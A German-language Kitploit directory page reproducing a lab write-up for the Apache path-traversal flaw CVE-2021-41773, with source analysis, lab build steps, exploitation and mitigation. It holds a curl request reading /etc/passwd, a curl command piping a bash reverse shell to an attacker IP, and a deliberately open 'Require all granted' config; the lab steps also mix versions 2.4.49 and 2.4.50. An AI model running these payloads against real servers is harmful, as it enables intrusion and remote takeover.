Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41773-POC — Die POC- und Lab-Setup-Dokumentation von CVE 2021 41773 | Kitploit
Tools/GitHubGitHub/ashique-thaha/cve-2021-41773-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubashique-thaha/cve-2021-41773-poc

CVE-2021-41773-POC

Die POC- und Lab-Setup-Dokumentation von CVE 2021 41773

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773-POC

Die POC- und Lab-Setup-Dokumentation von CVE-2021-41773


Was ist CVE-2021-41773?

CVE-2021-41773 ist eine Path-Traversal-Schwachstelle im Apache HTTP Server 2.4.49 und 2.4.50. Diese Schwachstelle nutzt eine Aktualisierung des Path-Normalisierungs-Codes aus, die in dieser Version eingeführt wurde.

root@kitploit:~
Die Path-Normalisierungs-Funktion:
Normalerweise filtert die Path-Normalisierung den URL-Pfad in ein Standard-
Format, um Angreifer vor böswilligen Aktionen zu schützen.

Apache HTTP Server 2.4.49 führte eine Änderung an der ap_normalize_path-Funktion ein, die zur Hauptursache dieser Schwachstelle wurde.

Wenn wir uns den Quellcode ansehen, erkennen wir, dass die Funktion jedes Zeichen der angegebenen URL durchläuft und eine Bereinigung durchführt.

Die Schwachstelle befindet sich jedoch in dem Codeabschnitt, in dem die URL-Decodierung stattfindet. Die Funktion ist einfach: Sie decodiert einfach das URL-kodierte Zeichen

root@kitploit:~
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
    path[l] == '%' &&
    apr_isxdigit(path[l + 1]) &&
    apr_isxdigit(path[l + 2])) 
{
    // Decode the percent-encoded character
    const char c = x2c(&path[l + 1]);

    // Check if the decoded character is alphanumeric or one of the allowed symbols
    if (apr_isalnum(c) || (c && strchr("-._~", c))) 
    {
        // Replace the last character with the decoded one and update position
        l += 2;
        path[l] = c;
    }
}

Das Problem hier ist, dass sie nur den ersten Punkt . in der URL behandelt, was bedeutet, dass wenn wir anstelle von ../ den Wert .%2e/ angeben, der Server den %2e als Punkt decodiert, was zu ../ führt.

Normalfall:

root@kitploit:~
URL Input: http://target/cgi-bin/../../etc/passwd

Path Normalization Steps:

1. Detect ../ -> Attempt to traverse up a directory.

2. Normalize function -> will remove or block ../ 

Verwundbarer Fall:

root@kitploit:~
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd

Path Normalization Steps:

1. Decodes %2e  to . -> The Result is ./.././../etc/passwd

2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../

3. Path Traversal is not fully blocked.

Resulting Path: /etc/passwd (Access Granted)

Dieses Problem wird gefährlich und ausnutzbar, wenn es mit Server-Direktiven kombiniert wird. Diese dienen als Regeln für das Verhalten des Apache-Servers.

Die Require all granted-Konfiguration erlaubt explizit allen Anfragen den Zugriff auf Ressourcen innerhalb des DocumentRoot.

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Wenn der Server auf der Root-Ebene mit der Require all granted-Direktive konfiguriert ist, wird das gesamte Dateisystem öffentlich zugänglich gemacht.

Das cgi-bin-Verzeichnis in Apache ist standardmäßig ein Alias-Verzeichnis mit der Require all granted-Direktive, das öffentlichen Zugriff ermöglicht, d.h. jeder kann Anfragen an das Verzeichnis /usr/local/apache2/cgi-bin/ stellen.

Durch die Kombination des Logikfehlers in der ap_normalize_path-Funktion, der den Path-Traversal-Bypass ermöglicht, und einer fehlkonfigurierten Require all granted-Direktive auf dem Server können Angreifer auf Dateien im Dateisystem des Servers außerhalb der vorgesehenen Verzeichnisse zugreifen.

Diese Schwachstelle kann weiter ausgenutzt werden, was zu Remote-Code-Ausführung führt, wenn mod_cgi auf dem Server aktiviert ist.

Standardmäßig ist dieses Modul auf Apache HTTPD nicht aktiviert, was bedeutet, dass die Standardversion nicht anfällig für RCE ist.

mod_cgi ermöglicht die Ausführung von CGI-Skripten (Common Gateway Interface) auf dem Server und die Rückgabe der Ausgabe an den Client; es wird hauptsächlich verwendet, um dynamische Funktionen für Websites bereitzustellen.


Einrichtung des Labors

  • Installieren Sie eine Linux-VM, um das Labor zu erstellen
  • Richten Sie anschließend die anfällige Apache-Version in dieser VM ein

Laden Sie die anfällige Apache-Version herunter (Herunterladen aus dem Archiv, da die anfällige Version nicht direkt installiert werden kann):

root@kitploit:~
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz

Abhängigkeiten installieren:

root@kitploit:~
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
root@kitploit:~
sudo apt-get install build-essential

Entpacken Sie die anfällige Apache-Datei und konfigurieren Sie sie:

root@kitploit:~
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install

Nach erfolgreichem Abschluss gehen Sie zur Konfigurationsdatei von Apache:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Fügen Sie Folgendes in die Konfigurationsdatei ein:

root@kitploit:~
ServerName 127.0.1.1

Starten Sie den Apache-Dienst:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Navigieren Sie zum Standard-Webserver-Verzeichnis:

root@kitploit:~
cd /usr/local/apache2/htdocs

Hinweis: Normalerweise ist das Stammverzeichnis von Apache /var/www/html, hier ist es /usr/local/apache2/htdocs, da wir den Server nicht aus den Quellen installiert haben; wir könnten es auf /var/www/html ändern, wenn wir wollten. Aber ich behalte es vorerst so bei.

Erstellen Sie eine einfache statische Website:

HTML:

root@kitploit:~
echo "GNU nano 6.2 index.html *                                               
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2021-41773</title>
    <!-- Link to external CSS file -->
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
  <h1>Error <span class="errorcode">404</span></h1>
  <p class="output">This is a replication of CVE-2021-41773</p>
  <p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
  <p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html

CSS:

root@kitploit:~
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';

html {
  min-height: 100%;
}

body {
  box-sizing: border-box;
  height: 100%;
  background-color: #000000;
  background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  font-family: 'Inconsolata', Helvetica, sans-serif;
  font-size: 1.5rem;
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1ex rgba(51, 255, 51, 1),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.noise {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  z-index: -1;
  opacity: .02;
}

.overlay {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background:
      repeating-linear-gradient(
      180deg,
      rgba(0, 0, 0, 0) 0,
      rgba(0, 0, 0, 0.3) 50%,
      rgba(0, 0, 0, 0) 100%);
  background-size: auto 4px;
  z-index: 1;
}

.overlay::before {
  content: "";
  pointer-events: none;
  position: absolute;
  display: block;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  background-image: linear-gradient(
      0deg,
      transparent 0%,
      rgba(32, 128, 32, 0.2) 2%,
      rgba(32, 128, 32, 0.8) 3%,
      rgba(32, 128, 32, 0.2) 3%,
      transparent 100%);
  background-repeat: no-repeat;
  animation: scan 7.5s linear 0s infinite;
}

@keyframes scan {
  0%        { background-position: 0 -100vh; }
  35%, 100% { background-position: 0 100vh; }
}

.terminal {
  box-sizing: inherit;
  position: absolute;
  height: 100%;
  width: 1000px;
  max-width: 100%;
  padding: 4rem;
  text-transform: uppercase;
}

.output {
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.output::before {
  content: "> ";
}

/*
.input {
  color: rgba(192, 255, 192, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.input::before {
  content: "$ ";
}
*/

a {
  color: #fff;
  text-decoration: none;
}

a::before {
  content: "[";
}

a::after {
  content: "]";
}

.errorcode {
  color: white;
}"| sudo tee styles.css

Bearbeiten Sie die Apache-Konfiguration, um die Schwachstelle zu simulieren:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Nehmen Sie in diesem Teil der Konfigurationsdatei eine Änderung vor, damit die Schwachstelle ausgenutzt werden kann:

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Starten Sie nun den Apache-Server:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Rufen Sie die anfällige Website auf, indem Sie eingeben:

root@kitploit:~
http://<vm-ip>

Das Labor ist bereit, jetzt sehen wir uns an, wie die Ausnutzung funktioniert:


Ausnutzung

Diese curl-Anfrage wird die Schwachstelle auslösen:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

Wir können auf diese Weise auf die Datei /etc/passwd oder jede andere Datei im System zugreifen


Versuchen wir eine Befehlsinjektion und versuchen, eine Reverse-Shell zu erhalten:

Richten Sie auf dem Angreifer-Rechner einen netcat-Listener ein:

root@kitploit:~
nc -lvnp 4444

Senden Sie nun den Bash-One-Liner per curl-Anfrage an das Opfer:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'

Dies gewährt uns einen Shell-Zugriff.


Schadensbegrenzung

Bei den Versionen 2.4.49 und 2.4.50 wird empfohlen, auf die neueste Version zu aktualisieren.

Falls ein Update nicht möglich ist, empfiehlt es sich, Verzeichnisse zu prüfen, um den öffentlichen Zugriff einzuschränken:

  • Require all denied-Direktiven müssen für alle Verzeichnisse implementiert werden, die nicht für den öffentlichen Zugriff bestimmt sind, und niemals auf der Root-Ebene.

  • Das /cgi-bin-Verzeichnis sollte mit der Require all denied-Direktive konfiguriert werden und nicht als Alias gesetzt sein.

Tool herunterladen